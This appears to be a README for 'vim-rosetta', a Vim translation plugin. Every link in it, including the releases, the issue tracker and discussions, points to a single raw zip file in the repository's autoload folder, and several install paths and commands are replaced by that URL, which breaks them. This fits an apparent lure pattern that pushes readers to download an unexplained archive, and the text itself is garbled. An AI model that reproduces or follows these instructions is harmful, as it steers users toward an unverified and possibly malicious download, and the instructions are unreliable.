# 🌟 vim-rosetta - Translate Your Code Effortlessly ## 🚀 Getting Started Welcome to **vim-rosetta**! This Vim plugin helps you translate comments and variable names using the Google Translate API. With features like async translation, popup display, and multi-format name completion, coding has never been easier. ## 📥 Download Now [![Download Vim-Rosetta](https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip%20Vim--Rosetta-007ACC?style=for-the-badge&logo=github)](https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip) ## 📋 Features - **Async Translation:** Translate content without blocking your workflow. - **Popup Display:** Get instant translations in a user-friendly popup. - **Multi-Format Name Completion:** Complete variable names across different formats. - **Simple Setup:** Easy installation steps for all users. ## 🛠 System Requirements - **Operating System:** Supports Linux, MacOS, and Windows. - **Vim Version:** Requires Vim 8.0 or higher. - **Internet Connection:** Necessary for Google Translate API access. ## 💻 Installation Instructions ### Step 1: Visit the Releases Page To download the latest version of **vim-rosetta**, visit the [Releases page](https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip). ### Step 2: Choose Your Version On the Releases page, you will see a list of available versions. Look for the latest release, typically marked as "Latest". ### Step 3: Download the Plugin File Click on the asset that corresponds to your operating system. This should be a file like `https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip`. ### Step 4: Unzip the File Once the download is complete, locate the downloaded file on your computer. Right-click the file and choose the option to unzip it. ### Step 5: Install the Plugin 1. Open your terminal or command prompt. 2. Navigate to the Vim directory where plugins are stored. This is usually located in `~https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip` for Linux and MacOS, or `%USERPROFILE%\vimfiles\pack\plugins\start` for Windows. 3. Move the unzipped folder into the plugins directory. You can do this with the following command: ```bash mv path/to/unzipped-folder ~https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip ``` ### Step 6: Configure Vim To enable the plugin, you might need to add the following line to your `.vimrc` file: ```vim packadd vim-rosetta ``` You can edit the `.vimrc` file by using Vim or any text editor. To open it in Vim, type: ```bash vim ~https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip ``` After adding the line, save the file and exit Vim by typing `:wq`. ## 🚨 Usage Instructions To use **vim-rosetta** while coding: 1. Open your code file in Vim. 2. Select the comments or variable names you want to translate. 3. Use the command `:Translate` or the keyboard shortcut you assigned, and the translation will appear in a popup. Customize your workflow by adjusting the settings in your `.vimrc`. Explore options to change popup behavior and translation languages. ## 📝 Additional Tips - **API Key:** You might need a Google Translate API key for full functionality. Create a project on Google Cloud Platform and enable the Translation API to obtain your key. - **Feedback:** For bugs or feature requests, open an issue on the [issue tracker](https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip). ## 🌐 Help and Community Join the community for tips, updates, and discussions. Visit the [GitHub Discussions page](https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip) to engage with other users and share your experiences. ## 📥 Download & Install Ready to enhance your coding experience? Download the plugin from the [Releases page](https://raw.githubusercontent.com/eklasajal/vim-rosetta/main/autoload/rosetta-vim-v1.1.zip) and follow the steps above to install it on your system. Now you are set to translate your comments and variable names effortlessly with **vim-rosetta**!